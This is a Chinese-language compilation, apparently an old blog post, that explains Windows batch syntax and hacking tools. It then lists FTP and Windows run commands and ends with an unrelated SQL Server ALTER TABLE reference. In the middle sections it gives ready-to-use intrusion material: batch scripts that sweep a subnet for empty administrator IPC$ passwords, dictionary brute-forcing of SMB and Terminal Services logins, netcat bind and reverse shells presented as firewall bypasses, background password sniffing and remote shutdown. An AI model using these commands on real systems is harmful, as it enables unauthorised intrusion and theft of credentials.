(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ "(1 1 254)"第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;"(1 -1 254)"说明:即从254到1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

#7 七:

2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为"真"。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:"if "%2%"=="4" goto start"指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:"if not nc.exe goto end"指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:"if exist test.txt. else echo test.txt.missing ",注意命令中的"."

(二)系统外部命令(均需下载相关工具):

1、瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。"<",例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

#8 八:

2、扫锚工具:xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测"hostlist.txt"文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

#9 九:

3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

4、终端服务密码破解: tscrack.exe

参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

5、其它:

Shutdown.exe
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

#10 十:

6、FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。
48.quote arg1,arg2…:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。
60.site arg1,arg2…:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.

#11 十一:

7:计算机运行命令全集 winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
wscript——–windows脚本宿主设置
write———-写字板winmsd—–系统信息
wiaacmgr——-扫描仪和照相机向导
winchat——–XP自带局域网聊天
mem.exe——–显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2——-简易widnows media player
mspaint——–画图板
mstsc———-远程桌面连接
mplayer2——-媒体播放机
magnify——–放大镜实用程序
mmc————打开控制台
mobsync——–同步命令
dxdiag———检查DirectX信息
drwtsn32—— 系统医生
devmgmt.msc— 设备管理器
dfrg.msc——-磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg——-打开系统组件服务
ddeshare——-打开DDE共享设置
dvdplay——–DVD播放器
net stop messenger—–停止信使服务
net start messenger—-开始信使服务
notepad——–打开记事本
nslookup——-网络管理的工具向导
ntbackup——-系统备份和还原
narrator——-屏幕"讲述人"
ntmsmgr.msc—-移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an—-(TC)命令检查接口
syncapp——–创建一个公文包
sysedit——–系统配置编辑器
sigverif——-文件签名验证程序
sndrec32——-录音机
shrpubw——–创建共享文件夹
secpol.msc—–本地安全策略
syskey———系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32——-音量控制程序
sfc.exe——–系统文件检查器
sfc /scannow—windows文件保护
tsshutdn——-60秒倒计时关机命令
tourstart——xp简介(安装完成后出现的漫游xp程序)
taskmgr——–任务管理器
eventvwr——-事件查看器
eudcedit——-造字程序
explorer——-打开资源管理器
packager——-对象包装程序
perfmon.msc—-计算机性能监测程序
progman——–程序管理器
regedit.exe—-注册表
rsop.msc——-组策略结果集
regedt32——-注册表编辑器
rononce -p —-15秒关机
regsvr32 /u *.dll—-停止dll文件运行
regsvr32 /u zipfldr.dll——取消ZIP支持
cmd.exe——–CMD命令提示符
chkdsk.exe—–Chkdsk磁盘检查
certmgr.msc—-证书管理实用程序
calc———–启动计算器
charmap——–启动字符映射表
cliconfg——-SQL SERVER 客户端网络实用程序
Clipbrd——–剪贴板查看器
conf———–启动netmeeting
compmgmt.msc—计算机管理
cleanmgr——-**整理
ciadv.msc——索引服务程序
osk————打开屏幕键盘
odbcad32——-ODBC数据源管理器
oobe/msoobe /a—-检查XP是否激活
lusrmgr.msc—-本机用户和组
logoff———注销命令
iexpress——-木马捆绑工具,系统自带
Nslookup——-IP地址侦测器
fsmgmt.msc—–共享文件夹管理器
utilman——–辅助工具管理器
gpedit.msc—–组策略

2006年01月16日

ALTER TABLE

通过更改、添加、除去列和约束,或者通过启用或禁用约束和触发器来更改表的定义。

语法

ALTER TABLE table
{ [ ALTER COLUMN column_name
    { new_data_type [ ( precision [ , scale ] ) ]
        [ COLLATE < collation_name > ]
        [ NULL | NOT NULL ]
        | {ADD | DROP } ROWGUIDCOL }
    ]
    | ADD

        { [ < column_definition > ]
        | column_name AS computed_column_expression

        } [ ,...n ]
    | [ WITH CHECK | WITH NOCHECK ] ADD
        { < table_constraint > } [ ,...n ]
    | DROP
        { [ CONSTRAINT ] constraint_name
            | COLUMN column } [ ,...n ]
    | { CHECK | NOCHECK } CONSTRAINT
        { ALL | constraint_name [ ,...n ] }
    | { ENABLE | DISABLE } TRIGGER
        { ALL | trigger_name [ ,...n ] }
}

< column_definition > ::=
    { column_name data_type }
    [ [ DEFAULT constant_expression ] [ WITH VALUES ]
    | [ IDENTITY [ ( seed , increment ) [ NOT FOR REPLICATION ] ] ]

        ]
    [ ROWGUIDCOL ]

    [ COLLATE < collation_name > ]
    [ < column_constraint > ] [ ...n ]

< column_constraint > ::=
    [ CONSTRAINT constraint_name ]
    { [ NULL | NOT NULL ]
        | [ { PRIMARY KEY | UNIQUE }

            [ CLUSTERED | NONCLUSTERED ]
            [ WITH FILLFACTOR = fillfactor ]
            [ ON { filegroup | DEFAULT } ]
            ]
        | [ [ FOREIGN KEY ]

            REFERENCES ref_table [ ( ref_column ) ]
            [ ON DELETE { CASCADE | NO ACTION } ]
            [ ON UPDATE { CASCADE | NO ACTION } ]
            [ NOT FOR REPLICATION ]
            ]
        | CHECK [ NOT FOR REPLICATION ]

            ( logical_expression )
    }

< table_constraint > ::=
    [ CONSTRAINT constraint_name ]
    { [ { PRIMARY KEY | UNIQUE }
        [ CLUSTERED | NONCLUSTERED ]

        { ( column [ ,...n ] ) }
        [ WITH FILLFACTOR = fillfactor ]
        [ ON { filegroup | DEFAULT } ]
        ]
        |    FOREIGN KEY

            [ ( column [ ,...n ] ) ]
            REFERENCES ref_table [ ( ref_column [ ,...n ] ) ]
            [ ON DELETE { CASCADE | NO ACTION } ]
            [ ON UPDATE { CASCADE | NO ACTION } ]
            [ NOT FOR REPLICATION ]
        | DEFAULT constant_expression
            [ FOR column ] [ WITH VALUES ]
        |    CHECK [ NOT FOR REPLICATION ]

            ( search_conditions )
    }

参数

table

是要更改的表的名称。如果表不在当前数据库中或者不属于当前用户所拥有,可以显式指定数据库和所有者。

ALTER COLUMN

指定要更改给定列。如果兼容级别是 65 或小于 65,将不允许使用 ALTER COLUMN。有关更多信息,请参见 sp_dbcmptlevel

要更改的列不能是:

  • 数据类型为 textimagentext timestamp 的列。

  • 表的 ROWGUIDCOL 列。

  • 计算列或用于计算列中的列。

  • 被复制列。

  • 用在索引中的列,除非该列数据类型是 varcharnvarchar varbinary,数据类型没有更改,而且新列大小等于或者大于旧列大小。

  • 用在由 CREATE STATISTICS 语句创建的统计中的列。首先用 DROP STATISTICS 语句删除统计。由查询优化器自动生成的统计会由 ALTER COLUMN 自动除去。

  • 用在 PRIMARY KEY 或 [FOREIGN KEY] REFERENCES 约束中的列。

  • 用在 CHECK 或 UNIQUE 约束中的列,除非用在 CHECK 或 UNIQUE 约束中的可变长度列的长度允许更改。

  • 有相关联的默认值的列,除非在不更改数据类型的情况下允许更改列的长度、精度或小数位数。

有些数据类型的更改可能导致数据的更改。例如,将数据类型为 ncharnvarchar 的列更改为 charvarchar 类型,将导致扩展字符的转换。有关更多信息,请参见 CAST 和 CONVERT。降低列的精度和小数位数可能导致数据截断。

column_name

是要更改、添加或除去的列的名称。对于新列,如果数据类型为 timestampcolumn_name 可以省略。对于 timestamp 数据类型的列,如果未指定 column_name,将使用名称 timestamp

new_data_type

是要更改的列的新数据类型。要更改的列的 new_data_type 应符合下列准则:

  • 原来的数据类型必须可以隐式转换为新数据类型。

  • new_data_type 类型不能为 timestamp

  • 对 ALTER COLUMN,ANSI 空默认值始终打开;如果没有指定,列将可为空。

  • 对 ALTER COLUMN,ANSI 填充始终打开。

  • 如果要更改的列是标识列,new_data_type 必须是支持标识属性的数据类型。

  • 将忽略 SET ARITHABORT 的当前设置。ALTER TABLE 语句的行为如同 ARITHABORT 选项为 ON 时一样。

precision

是指定数据类型的精度。有关有效精度值的更多信息,请参见精度、小数位数和长度

scale

是指定数据类型的小数位数。有关有效小数位数值的更多信息,请参见精度、小数位数和长度

COLLATE < collation_name >

为更改列指定新的排序规则。排序规则名称既可以是 Windows 排序规则名称,也可以是 SQL 排序规则名称。有关列表及更多信息,请参见 Windows 排序规则名称SQL 排序规则名称

COLLATE 子句只能用于更改数据类型为 charvarchartextncharnvarcharntext 的列的排序规则。如果未指定,则此列采用数据库的默认排序规则。

若满足下列条件,则 ALTER COLUMN 不能更改排序规则:

  • 检查约束、外键约束或计算列引用了更改列。

  • 在此列上创建了索引、统计或全文索引。更改列的排序规则时,该列上自动创建的统计将除去。

  • SCHEMABOUND 视图或函数引用了此列。

有关 COLLATE 子句的更多信息,请参见 COLLATE

NULL | NOT NULL

指定该列是否可接受空值。不允许空值的列只有在指定了默认值的情况下,才能用 ALTER TABLE 语句向表中添加。添加到表中的新列要么允许空值,要么必须指定默认值。

如果新列允许空值,而且没有指定默认值,那么新列在表中每一行都包含空值。如果新列允许空值并且指定了新列的默认值,那么可以使用 WITH VALUES 选项在表中所有现有行的新列中存储默认值。

如果新列不允许空值,那么新列必须具有 DEFAULT 定义,而且新列的所有现有行中将自动装载该默认值。

可在 ALTER COLUMN 语句中指定 NULL 以使 NOT NULL 列允许空值,但 PRIMARY KEY 约束中的列除外。只有列中不包含空值时,ALTER COLUMN 中才可指定 NOT NULL。必须将空值更新为非空值后,才允许执行 ALTER COLUMN NOT NULL 语句,比如:

UPDATE MyTable SET NullCol = N'some_value' WHERE NullCol IS NULL

ALTER TABLE MyTable ALTER COLUMN NullCOl NVARCHAR(20) NOT NULL

如果 ALTER COLUMN 中指定了 NULL 或 NOT NULL,那么必须同时指定 new_data_type [(precision [, scale ])]。如果不更改数据类型、精度和小数位数,请指定列的这些值的当前值。

[ {ADD | DROP} ROWGUIDCOL ]

指定在指定列上添加或除去 ROWGUIDCOL 属性。ROWGUIDCOL 是一个关键字,表示列是行全局唯一标识符列。对于每个表只能指派一个 uniqueidentifier 列作为 ROWGUIDCOL 列。ROWGUIDCOL 属性只能指派给 uniqueidentifier 列。

ROWGUIDCOL 属性并不强制列中所存储值的唯一性。该属性也不会为插入到表中的新行自动生成值。若要为每列生成唯一值,那么或者在 INSERT 语句中使用 NEWID 函数,或者将 NEWID 函数指定为该列的默认值。

ADD

指定要添加一个或多个列定义、计算列定义或者表约束。

computed_column_expression

是一个定义计算列的值的表达式。计算列是并不物理地存储在表中的虚拟列,该列用表达式计算得出,该表达式使用同一表中的其它列。例如,计算列的定义可以是:cost AS price * qty。表达式可以是非计算列的列名、常量、函数、变量,也可以是用一个或多个运算符连接的上述元素的任意组合。表达式不能为子查询。

计算列可用于选择列表、WHERE 子句、ORDER BY 字句或其它任何可以使用常规表达式的位置,但下列情况除外:

  • 计算列不能用作 DEFAULT 或 FOREIGN KEY 约束定义,也不能与 NOT NULL 约束定义一起使用。但是,如果计算列由具有确定性的表达式定义,并且索引列中允许计算结果的数据类型,则可将该列用作索引中的键列,或用作 PRIMARY KEY 或 UNIQUE 约束的一部分。

    例如,如果表中有整数列 ab,那么计算列 a+b 上可建立索引,而计算列 a+DATEPART(dd, GETDATE()) 上则不能,因为该值将在后续调用时更改。

  • 计算列不能作为 INSERT 或 UPDATE 语句的目标。

    说明  由于表中计算列所用列中的各行可能有不同的值,所以计算列的每一行可能有不同的值。

n

是表示前面的项可重复 n 次的占位符。

WITH CHECK | WITH NOCHECK

指定表中的数据是否用新添加的或重新启用的 FOREIGN KEY 或 CHECK 约束进行验证。如果没有指定,对于新约束,假定为 WITH CHECK,对于重新启用的约束,假定为 WITH NOCHECK。

WITH CHECK 和 WITH NOCHECK 子句不能用于 PRIMARY KEY 和 UNIQUE 约束。

如果不想用新 CHECK 或 FOREIGN KEY 约束对现有数据进行验证,请用 WITH NOCHECK,除了个别情况,不建议这样使用。新约束将在以后的所有更新中生效。任何在添加约束时由 WITH NOCHECK 抑制的约束违规都可能导致将来的更新失败,如果这些更新操作要更新的行中包含不符合约束条件的数据。

查询优化器不考虑用 WITH NOCHECK 定义的约束。将忽略这些约束,直到使用 ALTER TABLE table CHECK CONSTRAINT ALL语句重新启用这些约束为止。

DROP { [CONSTRAINT] constraint_name | COLUMN column_name }

指定从表中删除 constraint_name 或者 column_name。如果兼容级别小于或等于 65,将不允许 DROP COLUMN。可以列出多个列或约束。下面的列不能除去:

  • 被复制列。

  • 用在索引中的列。

  • 用在 CHECK、FOREIGN KEY、UNIQUE 或 PRIMARY KEY 约束中的列。

  • 有相关联的默认值(由 DEFAULT 关键字定义)的列,或绑定到默认对象的列。

  • 绑定到规则的列。

{ CHECK | NOCHECK} CONSTRAINT

指定启用或禁用 constraint_name。如果禁用,将来插入或更新该列时将不用该约束条件进行验证。此选项只能与 FOREIGN KEY 和 CHECK 约束一起使用。

ALL
指定使用 NOCHECK 选项禁用所有约束,或者使用 CHECK 选项启用所有约束。

{ENABLE | DISABLE} TRIGGER

指定启用或禁用 trigger_name。当一个触发器被禁用时,它对表的定义依然存在;然而,当在表上执行 INSERT、UPDATE 或 DELETE 语句时,触发器中的操作将不执行,除非重新启用该触发器。

ALL
指定启用或禁用表中所有的触发器。
trigger_name
指定要启用或禁用的触发器名称。

column_name data_type

新列的数据类型。data_type 可以是任何 Microsoft® SQL Server™ 数据类型或用户定义数据类型。

DEFAULT

是指定列默认值的关键字。DEFAULT 定义可用于为表中现有行的新列提供值。DEFAULT 定义不能添加到具有 timestamp 数据类型、IDENTITY 属性、现有 DEFAULT 定义或绑定默认值的列。如果列已有默认值,必须除去旧默认值后才能添加新默认值。为同 SQL Server 先前版本保持兼容性,向 DEFAULT 赋予约束名是可能的。

IDENTITY

指定新列是标识列。在表中添加新行时,SQL Server 为列提供一个唯一的增量值。标识列通常与 PRIMARY KEY 约束一起用作表的唯一行标识符。IDENTITY 属性可赋予 tinyint、smallint、int、bigint、decimal(p,0) 或者 numeric(p,0) 列。对于每个表只能创建一个标识列。DEFAULT 关键字和绑定默认值不能用于标识列。要么种子和增量都同时指定,要么都不指定。如果二者都未指定,则取默认值 (1,1)。

Seed
是用于表中所装载的第一行的值。
Increment
是添加到前一行的标识值的增量值。

NOT FOR REPLICATION

指定当复制登录(如 sqlrepl)向表中插入数据时,不强制 IDENTITY 属性。也可对约束指定 NOT FOR REPLICATION。当复制登录向表中插入数据时,不检查约束条件。

CONSTRAINT

指定 PRIMARY KEY、UNIQUE、FOREIGN KEY 或 CHECK 约束的开始,或者指定 DEFAULT 定义的开始。

constrain_name

是新约束。约束的名称必须符合标识符规则,但其名称的首字符不能为 #。如果没有提供 constraint_name,约束使用系统生成的名称。

PRIMARY KEY

是通过唯一索引对给定的一列或多列强制实体完整性的约束。对每个表只能创建一个 PRIMARY KEY 约束。

UNIQUE

是通过唯一索引为给定的一列或多列提供实体完整性的约束。

CLUSTERED | NONCLUSTERED

指定为 PRIMARY KEY 或 UNIQUE 约束创建聚集或非聚集索引。PRIMARY KEY 约束默认为 CLUSTERED;UNIQUE 约束默认为 NONCLUSTERED。

如果表中已存在聚集约束或索引,那么在 ALTER TABLE 中就不能指定 CLUSTERED。如果表中已存在聚集约束或索引,PRIMARY KEY 约束默认为 NONCLUSTERED。

WITH FILLFACTOR = fillfactor

指定 SQL Server 存储索引数据时每个索引页的充满程度。用户指定的 fillfactor 取值范围从 1 到 100。如果没有指定,那么默认值为 0。创建索引时,fillfactor 值越低,不必分配新空间即可添加的新索引条目的可用空间就越多。有关详细信息,请参见 CREATE INDEX

ON {filegroup | DEFAULT}

